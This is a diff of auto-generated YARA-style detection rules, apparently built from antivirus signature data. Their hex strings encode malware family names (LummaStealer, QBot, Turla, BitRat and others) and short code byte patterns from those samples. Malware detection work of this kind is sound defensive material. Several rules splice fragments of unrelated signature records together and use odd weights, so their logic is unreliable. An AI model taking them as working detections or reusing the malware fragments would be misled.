_InfrastructureShared_7206{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 04 00 21 " strings : $a_46_0 = {50 55 41 3a 57 69 6e 33 32 2f 57 65 77 73 38 37 00 01 00 0a 80 01 6c 61 6e 64 65 72 2e 70 64 62 02 00 0f 80 01 64 2e 77 61 6e 79 6f 75 78 69 37 2e 63 6f 6d 01 00 13 80 01 33 37 4c 61 6e 64 65 72 55 70 67 72 61 64 65 2e 65 78 65 } //16675 $a_80_1 = {67 61 6d 65 43 6f 72 65 5f 63 65 66 2e 65 78 65 } //gameCore_cef.exe 1 - $a_6f_2 = {00 05 00 05 00 05 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 72 61 70 68 69 63 54 6f 72 63 68 2e 41 21 64 68 61 00 01 00 04 01 48 65 72 74 01 00 0c 01 43 6f 6e 66 69 67 54 68 72 65 61 64 01 00 06 01 23 45 58 49 54 23 01 00 0c 01 52 65 73 75 6c 74 20 69 6e 66 6f 20 01 00 0b 01 73 65 72 76 65 72 20 2e 2e 2e 0a 00 00 78 6f 00 00 05 00 05 00 } //0 - $a_23_3 = {53 54 52 3a 57 69 6e 33 32 2f 53 70 79 6e 6f 6f 6e 2e 41 56 46 21 4d 54 42 00 01 00 08 01 52 65 61 } //5 + $a_6f_2 = {00 05 00 05 00 04 00 21 23 50 55 41 3a 42 6c 6f 63 6b 3a 43 6f 75 70 69 73 68 00 02 00 0f 80 01 77 77 77 2e 63 6f 75 70 69 73 68 2e 63 6f 6d 01 00 0f 80 01 53 68 6f 70 70 69 6e 67 20 6f 66 66 65 72 73 01 00 0e 80 01 63 6f 75 70 69 73 68 5f 65 6e 2e 69 6e 69 01 00 13 80 01 54 6f 6f 6c 62 61 72 5f 50 68 70 6e 75 6b 65 2e 65 78 65 00 00 78 6f 00 00 05 00 05 00 } //0 + $a_23_3 = {4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 72 61 70 68 69 63 54 6f 72 63 68 2e 41 21 64 68 } //5 LF:Trojan:Win32/GraphicTorch.A!dh condition: ((#a_46_0 & 1)*16675+(#a_80_1 & 1)*1+(#a_6f_2 & 1)*0+(#a_23_3 & 1)*5) >=5 } -rule _InfrastructureShared_6832{ +rule _InfrastructureShared_7207{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 04 00 21 " + + strings : + $a_41_0 = {42 6c 6f 63 6b 3a 43 6f 75 70 69 73 68 00 02 00 0f 80 01 77 77 77 2e 63 6f 75 70 69 73 68 2e 63 6f 6d 01 00 0f 80 01 53 68 6f 70 70 69 6e 67 20 6f 66 66 65 72 73 01 00 0e 80 01 63 6f 75 70 69 73 68 5f 65 6e 2e 69 6e 69 01 00 13 80 01 54 6f 6f 6c 62 61 72 } //20515 + $a_70_1 = {75 6b 65 2e 65 78 65 00 00 78 6f 00 00 05 00 05 00 05 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 72 61 70 68 69 63 54 6f 72 63 68 2e 41 21 64 68 61 00 01 00 04 01 48 65 72 74 01 00 0c 01 43 6f 6e 66 69 67 54 68 72 65 61 64 01 00 06 01 23 45 58 49 54 23 01 00 0c 01 52 65 73 75 6c 74 20 69 6e } //20575 + $a_01_2 = {00 0b 01 73 65 72 76 65 72 20 2e 2e 2e 0a 00 00 78 6f 00 00 05 00 05 00 05 00 21 23 48 53 54 52 } //28518 + $a_6e_3 = {32 2f 53 70 79 6e 6f 6f 6e 2e 41 56 46 21 4d 54 42 00 01 00 08 01 52 65 61 64 46 69 6c 65 01 00 0c 01 56 69 72 74 75 61 6c 41 6c 6c 6f 63 01 00 0b 01 47 65 74 46 69 6c 65 53 69 7a 65 01 00 08 01 6c 73 74 72 63 61 74 57 01 00 0f 01 48 6b 63 6f 65 64 63 6c 78 66 6b 63 6b 64 6c 00 00 78 6f 00 00 05 00 05 00 05 00 21 } //22330 + condition: + ((#a_41_0 & 1)*20515+(#a_70_1 & 1)*20575+(#a_01_2 & 1)*28518+(#a_6e_3 & 1)*22330) >=5 + +} +rule _InfrastructureShared_7208{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -71411,39 +75372,52 @@ rule _InfrastructureShared_6832{ $a_66_1 = {20 01 00 0b 01 73 65 72 76 65 72 20 2e 2e 2e 0a 00 00 78 6f 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 53 70 79 6e 6f 6f 6e 2e 41 56 46 21 4d 54 42 00 01 00 08 01 52 65 61 64 46 69 6c 65 01 00 0c 01 56 69 72 74 75 61 6c 41 6c 6c 6f 63 01 00 0b 01 47 65 74 46 69 6c 65 53 69 7a 65 01 00 08 01 6c 73 74 72 63 61 } //26912 $a_00_2 = {0f } //22388 $a_63_3 = {65 64 63 6c 78 66 6b 63 6b 64 6c 00 00 78 6f 00 00 05 00 05 00 05 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 52 65 64 46 6c 61 72 65 32 2e 4d 21 69 62 74 00 01 00 0a 80 01 69 6e 69 74 69 61 6c 69 7a 65 01 00 07 80 01 67 65 74 44 61 74 61 01 00 07 80 01 70 75 74 44 61 74 61 01 00 04 80 01 66 69 6e 69 01 } //18433 - $a_01_4 = {43 6f 6f 6b 69 65 3a 20 53 49 44 31 3d 25 73 00 00 78 6f 00 00 07 00 07 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 50 75 72 65 4c 6f 67 2e 4b 41 4a 21 4d 54 42 00 03 00 1f 01 31 38 41 42 34 30 39 37 46 31 37 45 34 44 39 43 38 45 37 39 41 44 45 33 45 46 30 33 38 38 45 04 00 1e 01 38 33 45 43 42 44 41 45 34 44 31 46 46 42 46 34 44 44 37 38 36 44 35 31 39 30 43 43 } //3840 + $a_01_4 = {43 6f 6f 6b 69 65 3a 20 53 49 44 31 3d 25 73 00 00 78 6f 00 00 06 00 06 00 03 00 21 23 48 53 54 52 3a 4c 75 6d 6d 61 53 74 65 61 6c 65 72 2e 52 48 32 34 00 02 00 17 03 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 90 01 1a 40 00 00 e0 90 00 02 00 0f 03 50 45 00 00 4c 01 90 01 12 0b 01 02 28 90 00 02 00 1c 01 25 75 73 65 72 61 70 70 64 61 74 61 25 5c 52 65 73 74 61 72 74 41 70 70 2e 65 } //3840 condition: ((#a_46_0 & 1)*16675+(#a_66_1 & 1)*26912+(#a_00_2 & 1)*22388+(#a_63_3 & 1)*18433+(#a_01_4 & 1)*3840) >=5 } -rule _InfrastructureShared_6833{ +rule _InfrastructureShared_7209{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " strings : $a_54_0 = {3a 57 69 6e 33 32 2f 53 70 79 6e 6f 6f 6e 2e 41 56 46 21 4d 54 42 00 01 00 08 01 52 65 61 64 46 69 6c 65 01 00 0c 01 56 69 72 74 75 61 6c 41 6c 6c 6f 63 01 00 0b 01 47 65 74 46 69 6c 65 53 69 7a 65 01 00 08 01 6c 73 74 72 63 61 74 57 01 00 0f 01 48 } //18467 $a_65_1 = {63 6c 78 66 6b 63 6b 64 6c 00 00 78 6f 00 00 05 00 05 00 05 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 52 65 64 46 6c 61 72 65 32 2e 4d 21 69 62 74 00 01 00 0a 80 01 69 6e 69 74 69 61 6c 69 7a 65 01 00 07 80 01 67 65 74 44 61 74 61 01 00 07 80 01 70 75 74 44 61 74 61 01 00 04 80 01 66 69 6e 69 01 00 0f 80 01 43 6f } //25451 - $a_65_2 = {20 53 49 44 31 3d 25 73 00 00 78 6f 00 00 07 00 07 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 50 75 72 65 4c 6f 67 2e 4b 41 4a 21 4d 54 42 00 03 00 1f 01 31 38 41 42 34 30 39 37 46 31 37 45 34 44 39 43 38 45 37 39 41 44 45 33 45 46 30 33 38 38 45 04 00 1e 01 38 33 45 43 42 44 41 45 34 44 31 46 } //27503 - $a_34_3 = {44 37 38 36 44 35 31 39 30 43 43 30 45 00 00 78 6f 00 00 07 00 07 00 03 00 21 23 48 53 54 52 3a 69 6e 6a 65 63 74 6f 72 5f 70 72 6f 6c 61 63 6f 5f 74 79 70 65 32 00 03 00 17 03 99 f7 fb 8b 84 95 90 01 02 ff ff } //16966 - $a_01_4 = {02 ff ff 30 04 0a 90 00 03 00 0e 01 6a 40 68 00 30 00 00 ff 70 50 ff 70 34 ff 01 00 18 03 0f b7 40 06 39 c3 7c a3 53 53 8d 9d 90 01 02 ff ff 53 ff 75 e8 ff 90 00 00 00 78 6f 00 00 09 00 09 00 03 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 41 76 65 4d 61 72 69 61 2e 4e 45 43 57 21 4d 54 42 00 05 00 14 01 8a 04 3b 04 7b 34 95 04 60 34 6f 88 04 3b 47 3b 7d fc 72 ec 02 00 14 01 6d 75 6c 74 69 64 72 75 67 20 72 65 73 } //-27253 + $a_65_2 = {20 53 49 44 31 3d 25 73 00 00 78 6f 00 00 06 00 06 00 03 00 21 23 48 53 54 52 3a 4c 75 6d 6d 61 53 74 65 61 6c 65 72 2e 52 48 32 34 00 02 00 17 03 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 90 01 1a 40 00 00 e0 90 00 02 00 0f 03 50 45 00 00 4c 01 90 01 12 0b 01 02 28 90 00 02 00 1c 01 25 75 73 65 72 61 70 70 64 61 } //27503 + $a_5c_3 = {65 73 74 61 72 74 41 70 70 2e 65 78 65 00 00 78 6f 00 00 07 00 07 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e } //24948 + $a_49_4 = {2f 50 75 72 65 4c 6f 67 2e 4b 41 4a 21 4d 54 42 00 03 00 1f 01 31 38 41 42 34 30 39 37 46 31 37 45 34 44 39 43 38 45 37 39 41 44 45 33 45 46 30 33 38 38 45 04 00 1e 01 38 33 45 43 42 44 41 45 34 44 31 46 46 42 46 34 44 44 37 38 36 44 35 31 39 30 43 } //19770 condition: - ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*25451+(#a_65_2 & 1)*27503+(#a_34_3 & 1)*16966+(#a_01_4 & 1)*-27253) >=5 + ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*25451+(#a_65_2 & 1)*27503+(#a_5c_3 & 1)*24948+(#a_49_4 & 1)*19770) >=5 } -rule _InfrastructureShared_6834{ +rule _InfrastructureShared_7210{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " strings : $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 52 65 64 46 6c 61 72 65 32 2e 4d 21 69 62 74 00 01 00 0a 80 01 69 6e 69 74 69 61 6c 69 7a 65 01 00 07 80 01 67 65 74 44 61 74 61 01 00 07 80 01 70 75 74 44 61 74 61 01 } //21539 - $a_01_1 = {66 69 6e 69 01 00 0f 80 01 43 6f 6f 6b 69 65 3a 20 53 49 44 31 3d 25 73 00 00 78 6f 00 00 07 00 07 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 50 75 72 65 4c 6f 67 2e 4b 41 4a 21 4d 54 42 00 03 00 1f 01 31 38 41 42 34 30 39 37 46 31 37 45 34 44 39 43 38 45 37 39 41 44 45 33 45 46 30 33 38 38 45 04 00 1e 01 38 33 45 43 42 44 41 45 34 44 31 46 46 42 46 34 44 44 37 } //1024 - $a_35_2 = {39 30 43 43 30 45 00 00 78 6f 00 00 07 00 07 00 03 00 21 23 48 53 54 52 3a 69 6e 6a 65 63 74 6f 72 5f 70 72 6f 6c 61 63 6f 5f 74 79 70 65 32 00 03 00 17 03 99 f7 fb 8b 84 95 90 01 02 ff ff 8b 95 90 01 02 } //13880 - $a_04_3 = {0a 90 00 03 00 0e 01 6a 40 68 00 30 00 00 ff 70 50 ff 70 34 ff 01 00 18 03 0f b7 40 06 39 c3 7c a3 53 53 8d 9d 90 01 02 ff ff 53 ff 75 e8 ff 90 } //-1 + $a_01_1 = {66 69 6e 69 01 00 0f 80 01 43 6f 6f 6b 69 65 3a 20 53 49 44 31 3d 25 73 00 00 78 6f 00 00 06 00 06 00 03 00 21 23 48 53 54 52 3a 4c 75 6d 6d 61 53 74 65 61 6c 65 72 2e 52 48 32 34 00 02 00 17 03 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 90 01 1a 40 00 00 e0 90 00 02 00 0f 03 50 45 00 00 4c 01 90 01 12 0b 01 02 28 90 00 02 00 1c 01 25 75 73 65 72 61 70 70 64 61 74 61 25 5c 52 65 73 } //1024 + $a_74_2 = {70 70 2e 65 78 65 00 00 78 6f 00 00 07 00 07 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 50 75 72 65 4c 6f 67 2e 4b 41 4a 21 4d 54 42 00 03 00 1f 01 31 38 41 42 34 30 39 37 46 31 37 45 34 44 39 43 38 45 37 39 41 44 45 33 45 46 30 33 38 38 45 04 00 1e 01 38 33 45 43 42 44 41 45 34 44 31 46 46 42 46 34 44 44 37 38 36 44 35 } //24948 + $a_43_3 = {30 45 00 00 78 6f 00 00 07 00 07 00 03 00 21 23 48 53 54 52 3a 69 6e 6a 65 63 74 6f 72 5f 70 72 6f 6c 61 63 6f 5f 74 79 70 65 32 00 03 00 17 03 } //14641 + $a_8b_4 = {95 90 01 02 ff ff 8b 95 90 01 02 ff ff 30 04 0a 90 00 03 00 0e 01 6a 40 68 00 30 00 00 ff 70 50 ff 70 34 ff 01 00 18 03 0f b7 40 06 39 c3 7c a3 53 53 8d 9d 90 01 02 ff ff 53 ff 75 e8 ff 90 00 00 00 78 6f 00 00 09 00 09 00 03 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 41 76 65 4d 61 72 69 61 2e 4e 45 43 57 21 4d 54 42 00 05 00 14 01 8a 04 3b 04 7b 34 95 04 60 34 6f 88 04 3b 47 3b 7d fc 72 ec 02 00 14 01 6d 75 6c 74 69 64 72 75 67 20 72 65 73 69 73 74 61 6e 63 65 02 00 0e 01 75 6e 64 65 72 73 74 75 64 79 2e 64 6c 6c 00 00 78 6f 00 00 09 00 09 00 09 00 21 23 48 53 54 52 3a 56 42 49 6e 6a 65 63 74 5f 50 68 6f 72 70 69 65 78 00 01 00 07 01 64 8b 05 30 00 00 00 01 00 04 01 c6 45 e7 47 01 00 04 01 c6 45 e8 50 01 00 04 01 c6 45 e9 41 } //-2151 condition: - ((#a_4c_0 & 1)*21539+(#a_01_1 & 1)*1024+(#a_35_2 & 1)*13880+(#a_04_3 & 1)*-1) >=5 + ((#a_4c_0 & 1)*21539+(#a_01_1 & 1)*1024+(#a_74_2 & 1)*24948+(#a_43_3 & 1)*14641+(#a_8b_4 & 1)*-2151) >=5 } -rule _InfrastructureShared_6835{ +rule _InfrastructureShared_7211{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 03 00 21 " + + strings : + $a_54_0 = {3a 4c 75 6d 6d 61 53 74 65 61 6c 65 72 2e 52 48 32 34 00 02 00 17 03 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 90 01 1a 40 00 00 e0 90 00 02 00 0f 03 50 45 00 00 4c 01 90 01 12 0b 01 02 28 90 00 02 00 1c 01 25 75 73 65 72 61 70 70 64 61 74 61 25 5c } //18467 + $a_74_1 = {72 74 41 70 70 2e 65 78 65 00 00 78 6f 00 00 07 00 07 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 50 75 72 65 4c 6f 67 2e 4b 41 4a 21 4d 54 42 00 03 00 1f 01 31 38 41 42 34 30 39 37 46 31 37 45 34 44 39 43 38 45 37 39 41 44 45 33 45 46 30 33 38 38 45 04 00 1e 01 38 33 45 43 42 44 41 45 34 44 31 46 46 42 46 34 44 44 37 38 36 } //25938 + $a_39_2 = {43 43 30 45 00 00 78 6f 00 00 07 00 07 00 03 00 21 23 48 53 54 52 3a 69 6e 6a 65 63 74 6f 72 5f 70 72 6f 6c 61 63 6f 5f 74 79 70 65 32 00 03 00 17 } //13636 + condition: + ((#a_54_0 & 1)*18467+(#a_74_1 & 1)*25938+(#a_39_2 & 1)*13636) >=6 + +} +rule _InfrastructureShared_7212{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 02 00 21 " @@ -71454,7 +75428,7 @@ rule _InfrastructureShared_6835{ ((#a_4c_0 & 1)*21539+(#a_44_1 & 1)*17221) >=7 } -rule _InfrastructureShared_6836{ +rule _InfrastructureShared_7213{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 03 00 21 " @@ -71466,7 +75440,7 @@ rule _InfrastructureShared_6836{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*-25203+(#a_6e_2 & 1)*16982) >=7 } -rule _InfrastructureShared_6837{ +rule _InfrastructureShared_7214{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 03 00 21 " @@ -71478,7 +75452,7 @@ rule _InfrastructureShared_6837{ ((#a_46_0 & 1)*16675+(#a_02_1 & 1)*25454+(#a_fd_2 & 1)*-18431) >=9 } -rule _InfrastructureShared_6838{ +rule _InfrastructureShared_7215{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 21 " @@ -71494,7 +75468,7 @@ rule _InfrastructureShared_6838{ ((#a_54_0 & 1)*18467+(#a_b7_1 & 1)*260+(#a_00_2 & 1)*10+(#a_6e_3 & 1)*27247+(#a_41_5 & 1)*8448+(#a_42_6 & 1)*19745+(#a_49_7 & 1)*19770) >=9 } -rule _InfrastructureShared_6839{ +rule _InfrastructureShared_7216{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " @@ -71504,7 +75478,7 @@ rule _InfrastructureShared_6839{ ((#a_46_0 & 1)*16675) >=10 } -rule _InfrastructureShared_6840{ +rule _InfrastructureShared_7217{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " @@ -71514,7 +75488,7 @@ rule _InfrastructureShared_6840{ ((#a_46_0 & 1)*16675) >=10 } -rule _InfrastructureShared_6841{ +rule _InfrastructureShared_7218{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " @@ -71524,7 +75498,7 @@ rule _InfrastructureShared_6841{ ((#a_54_0 & 1)*18467) >=10 } -rule _InfrastructureShared_6842{ +rule _InfrastructureShared_7219{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " @@ -71534,7 +75508,7 @@ rule _InfrastructureShared_6842{ ((#a_54_0 & 1)*18467) >=10 } -rule _InfrastructureShared_6843{ +rule _InfrastructureShared_7220{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " @@ -71544,7 +75518,7 @@ rule _InfrastructureShared_6843{ ((#a_54_0 & 1)*18467) >=10 } -rule _InfrastructureShared_6844{ +rule _InfrastructureShared_7221{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " @@ -71554,7 +75528,28 @@ rule _InfrastructureShared_6844{ ((#a_4c_0 & 1)*21539) >=10 } -rule _InfrastructureShared_6845{ +rule _InfrastructureShared_7222{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4c 75 6d 6d 61 53 74 65 61 6c 65 72 2e 47 5a 50 21 4d 54 42 00 0a 00 3b 03 57 8b f9 6a 40 68 00 30 00 00 8b 6f 90 01 01 03 ef 89 6c 24 90 01 01 ff 75 90 01 01 ff 75 90 } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=10 + +} +rule _InfrastructureShared_7223{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 02 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 70 42 61 6e 6b 65 72 2e 47 58 46 21 4d 54 42 00 05 00 1f 03 8b 3f 56 ff 76 20 6a 00 6a fd 6a 00 6a 00 6a 00 6a 00 6a 00 68 90 01 04 57 6a 00 ff 15 90 00 05 00 } //21539 + $a_00_1 = {ff 15 90 01 04 85 c0 90 01 02 56 ff 15 90 01 04 47 03 f6 83 ff 08 90 00 00 00 78 6f 00 00 0a 00 0a 00 05 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 51 42 6f 74 2e 42 41 21 4d 53 52 00 02 00 0d 01 6b 65 6a 31 37 37 65 6c 36 2e 64 6c 6c 02 00 11 01 44 6c 6c 52 65 67 69 73 74 65 72 53 65 72 76 65 72 02 } //794 + condition: + ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*794) >=10 + +} +rule _InfrastructureShared_7224{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 05 00 21 " @@ -71562,13 +75557,13 @@ rule _InfrastructureShared_6845{ $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 51 42 6f 74 2e 42 41 21 4d 53 52 00 02 00 0d 01 6b 65 6a 31 37 37 65 6c 36 2e 64 6c 6c 02 00 11 01 44 6c 6c 52 65 67 69 73 74 65 72 53 65 72 76 65 72 02 00 06 01 4d 48 78 32 32 39 02 00 07 } //16675 $a_6e_1 = {32 50 50 02 00 09 01 56 61 65 76 79 38 33 30 35 00 00 78 6f 00 00 0b 00 0b 00 02 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 50 49 38 32 21 4d 54 42 00 0a 00 30 02 07 08 9a 28 90 01 04 23 00 00 00 00 00 80 73 40 59 28 90 01 04 b7 0d 06 09 28 90 01 04 28 90 01 04 28 } //21505 $a_0a_2 = {08 17 d6 0c } //400 - $a_69_3 = {00 01 00 08 00 54 6f 53 74 72 69 6e 67 00 00 78 6f 00 00 0b 00 0b 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 46 6f 72 6d 42 6f 6f 6b 2e 5a 48 55 21 4d 54 42 00 06 00 22 03 16 61 d2 9c 25 17 0f 00 28 90 01 04 16 60 d2 9c 25 18 0f 00 28 90 01 04 20 ff 00 00 00 5f d2 9c 90 00 05 00 1a 03 13 04 04 19 8d 90 01 01 00 00 01 25 16 08 9c 25 17 09 9c 25 18 11 04 9c 90 00 00 00 78 6f 00 00 0b 00 0b 00 04 00 21 23 } //1800 - $a_3a_4 = {72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 54 75 72 6c 61 2e 53 41 00 05 00 21 80 01 70 6f 77 65 72 73 68 65 6c 6c 72 75 6e 6e 65 72 2e 70 6f 77 65 72 73 68 65 6c 6c 72 75 6e 6e 65 72 05 00 08 80 01 69 6e 76 6f 6b 65 } //19521 + $a_69_3 = {00 01 00 08 00 54 6f 53 74 72 69 6e 67 00 00 78 6f 00 00 0b 00 0b 00 04 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 54 75 72 6c 61 2e 53 41 00 05 00 21 80 01 70 6f 77 65 72 73 68 65 6c 6c 72 75 6e 6e 65 72 2e 70 6f 77 65 72 73 68 65 6c 6c 72 75 6e 6e 65 72 05 00 08 80 01 69 6e 76 6f 6b 65 70 73 01 00 07 80 01 75 70 6e 70 72 70 63 01 00 07 80 01 6e 63 61 6c 72 70 63 00 00 78 6f 00 00 0f 00 0f 00 02 00 21 23 } //1800 + $a_3a_4 = {72 6f 6a 61 6e 3a 4d 53 49 4c 2f 42 69 74 52 61 74 2e 4e 45 41 42 21 4d 54 42 00 0a 00 33 03 07 7e 1d 00 00 0a d0 25 00 00 01 28 1e 00 00 0a 72 90 01 01 00 00 70 72 90 01 01 00 00 70 14 28 1f 00 00 0a 17 8d 1f } //19521 condition: ((#a_46_0 & 1)*16675+(#a_6e_1 & 1)*21505+(#a_0a_2 & 1)*400+(#a_69_3 & 1)*1800+(#a_3a_4 & 1)*19521) >=10 } -rule _InfrastructureShared_6846{ +rule _InfrastructureShared_7225{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 02 00 21 " @@ -71579,18 +75574,7 @@ rule _InfrastructureShared_6846{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*144) >=11 } -rule _InfrastructureShared_6847{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 02 00 21 " - - strings : - $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 46 6f 72 6d 42 6f 6f 6b 2e 5a 48 55 21 4d 54 42 00 06 00 22 03 16 61 d2 9c 25 17 0f 00 28 90 01 04 16 60 d2 9c 25 18 0f 00 28 90 01 04 20 ff 00 00 00 5f d2 9c 90 00 05 00 } //21539 - $a_04_1 = {04 19 8d 90 01 01 00 00 01 25 16 08 9c 25 17 09 9c 25 18 } //794 - condition: - ((#a_4c_0 & 1)*21539+(#a_04_1 & 1)*794) >=11 - -} -rule _InfrastructureShared_6848{ +rule _InfrastructureShared_7226{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 04 00 21 " @@ -71598,12 +75582,12 @@ rule _InfrastructureShared_6848{ $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 54 75 72 6c 61 2e 53 41 00 05 00 21 80 01 70 6f 77 65 72 73 68 65 6c 6c 72 75 6e 6e 65 72 2e 70 6f 77 65 72 73 68 65 6c 6c 72 75 6e 6e 65 72 05 00 08 80 01 69 6e 76 6f 6b 65 70 73 01 00 07 } //16675 $a_70_1 = {70 72 70 63 01 00 07 80 01 6e 63 61 6c 72 70 63 00 00 78 6f 00 00 0f 00 0f 00 02 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 42 69 74 52 61 74 2e 4e 45 41 42 21 4d 54 42 00 0a 00 33 03 07 7e 1d 00 00 0a d0 25 00 00 01 28 1e 00 00 0a 72 ?? 00 00 70 72 ?? 00 00 70 14 28 1f 00 00 0a 17 8d 1f 00 00 01 25 16 d0 01 00 00 1b } //384 $a_01_2 = {4c 00 6f 00 78 00 61 00 64 00 } //5 Loxad - $a_70_3 = {00 01 00 01 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 50 44 00 01 00 45 03 83 c2 00 89 c2 90 02 07 90 18 90 02 08 8b 34 39 90 02 07 90 18 90 02 06 01 34 3a 90 02 04 90 18 90 02 08 81 34 3a 90 01 04 90 02 06 90 18 90 02 06 83 ef 0c 90 02 06 90 18 90 02 0b 90 02 06 90 18 0f 8d 90 00 00 00 78 70 00 00 01 00 01 } //0 + $a_6f_3 = {00 14 00 14 00 03 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 54 65 64 79 2e 4d 52 21 4d 54 42 00 0a 00 1e 01 8a c8 b8 67 66 66 66 f7 eb c1 fa 02 8b c2 80 f1 9b c1 e8 1f 03 d0 88 0c 32 8a 04 37 3c 05 05 00 0e 01 47 81 c5 3e 22 00 00 89 7c 24 10 83 c3 0a 05 00 10 01 00 e8 e6 d7 04 00 f7 d8 1b c0 f7 d8 89 46 10 5e 00 00 78 70 00 00 01 00 01 00 } //0 condition: - ((#a_46_0 & 1)*16675+(#a_70_1 & 1)*384+(#a_01_2 & 1)*5+(#a_70_3 & 1)*0) >=11 + ((#a_46_0 & 1)*16675+(#a_70_1 & 1)*384+(#a_01_2 & 1)*5+(#a_6f_3 & 1)*0) >=11 } -rule _InfrastructureShared_6849{ +rule _InfrastructureShared_7227{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0f 00 0f 00 02 00 21 " @@ -71613,7 +75597,19 @@ rule _InfrastructureShared_6849{ ((#a_46_0 & 1)*16675) >=15 } -rule _InfrastructureShared_6850{ +rule _InfrastructureShared_7228{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,14 00 14 00 03 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 54 65 64 79 2e 4d 52 21 4d 54 42 00 0a 00 1e 01 8a c8 b8 67 66 66 66 f7 eb c1 fa 02 8b c2 80 f1 9b c1 e8 1f 03 d0 88 0c 32 8a 04 37 3c 05 05 00 0e 01 47 81 c5 3e 22 00 } //21539 + $a_24_1 = {83 c3 0a 05 00 10 01 00 e8 e6 d7 04 00 f7 d8 1b c0 f7 d8 89 46 10 5e 00 00 78 70 00 00 01 00 01 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 